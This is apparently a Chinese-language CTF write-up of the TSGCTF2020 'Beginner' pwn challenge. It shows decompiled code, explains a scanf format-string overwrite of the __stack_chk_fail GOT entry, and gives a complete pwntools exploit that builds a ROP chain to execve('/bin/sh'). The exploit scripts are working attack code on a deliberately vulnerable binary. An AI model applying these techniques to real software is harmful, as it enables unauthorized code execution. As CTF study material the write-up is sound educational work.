登录后台

页面导航

本文编写于 135 天前,最后修改于 92 天前,其中某些信息可能已经过时。

TSGCTF2020 Beginner

参考链接及题目下载

程序分析

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  readn((__int64)&v4, 0x18u);
  __isoc99_scanf(&v4, 24LL);
  return 0;
}

向&format读入0x18个字节的数据,再使用__isoc99_scanf向读入数据,&format作为参数,向rsi指向的内存写入数据;

_BYTE *__fastcall readn(__int64 addr_buf, unsigned int len)
{
  _BYTE *result; // rax
  int cur_len; // [rsp+10h] [rbp-10h]
  unsigned int i; // [rsp+14h] [rbp-Ch]
  signed __int64 v5; // [rsp+18h] [rbp-8h]

  cur_len = 0;
  for ( i = 0; i < len; ++i )
  {
    v5 = sys_read(0, (char *)(i + addr_buf), 1uLL);// read one char
    cur_len += v5;                              // current length
    if ( v5 != 1 || *(_BYTE *)((unsigned int)(cur_len - 1) + addr_buf) == '\n' )
      break;
  }
  if ( !cur_len )
    exit(-1);
  result = (_BYTE *)*(unsigned __int8 *)((unsigned int)(cur_len - 1) + addr_buf);
  if ( (_BYTE)result == '\n' )
  {
    result = (_BYTE *)((unsigned int)(cur_len - 1) + addr_buf);
    *result = 0;                                // replace '\n' to '\x00'
  }
  return result;
}

这里使用的参考链接的反汇编代码,这里是第一次读入,单字节循环读,读入0x18字节或遇到'n'结束读,如果最后一字节是'n',替换为'x00',最后返回最后一字节的地址

此前没有遇到过关于scanf的格式化字符串的利用,相关资料也没有

漏洞利用

与printf的格式化字符串类似,在这道题中需要用%s,%d来绕过canary的保护,然后使用rop技术来得到flag

验证一下是否可行
poc:

from pwn import *

p = process("./beginners")

stackchk_got = 0x404018 # GOT address of __stack_chk_fail()

gdb.attach(p,'b *0x401237\n c')
payload = "%7$d"
payload = payload.ljust(8, '\x00')
payload += p64(stackchk_got)
p.sendline(payload)

p.interactive()

image.png

image.png

可以看到__stack_chk_fail()的got表在rsp+8的位置,我们输入的paylaod前部分是%s %7$dx00,这里的'x00'起到了截断的作用,将payload切割成两部分

在这种状态下,如果在scanf()中输入一个字符串和一个整数,该字符串将进入rsi指示的位置,该位置紧接在readn()中输入的字符串之后,该整数将进入__stack_chk_fail()的GOT。
由于可以无限长地输入字符串,因此可以覆盖canary以外的返回地址,并且可以无限配置ROP链。

题目没有输出函数可供我们调用,也就无法泄露libc,但是有syscall,我们需要控制寄存器,通过execve('/bin/sh',0,0)的方式获取系统权限

from pwn import *

r = process("./beginners_pwn")
# r = remote("35.221.81.216", 30002)

stackchk_got = 0x404018 # GOT address of __stack_chk_fail()
main = 0x401255 # address of "leave; ret" in main()
pop_rdi = 0x4012c3 # address of "pop rdi; ret" gadget
pop_rsi_r15 = 0x4012c1 # address of "pop rsi; pop r15; ret" gadget
syscall = 0x40118f # address of "syscall" gadget
bss = 0x404100 # address of BSS section
readn = 0x401146 # address of readn()
csu1 = 0x4012ba
csu2 = 0x4012a0

payload = "%" + "s %7$d"
payload = payload.ljust(8, '\x00')
payload += p64(stackchk_got)

r.sendline(payload)

payload = "A" * 0x18

# ROP
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(pop_rsi_r15)
payload += p64(0x11)
payload += p64(0)
payload += p64(readn)
# rax == 0x3b

payload += p64(csu1)
payload += p64(0) # rbx
payload += p64(0) # rbp
payload += p64(bss) # rdi
payload += p64(0) # rsi
payload += p64(0) # rdx
payload += p64(bss + 8) # r15
payload += p64(csu2)

payload += " "
payload += str(main)

r.sendline(payload)

r.send("/bin/sh\x00" + p64(syscall) + "\x3b")

r.interactive()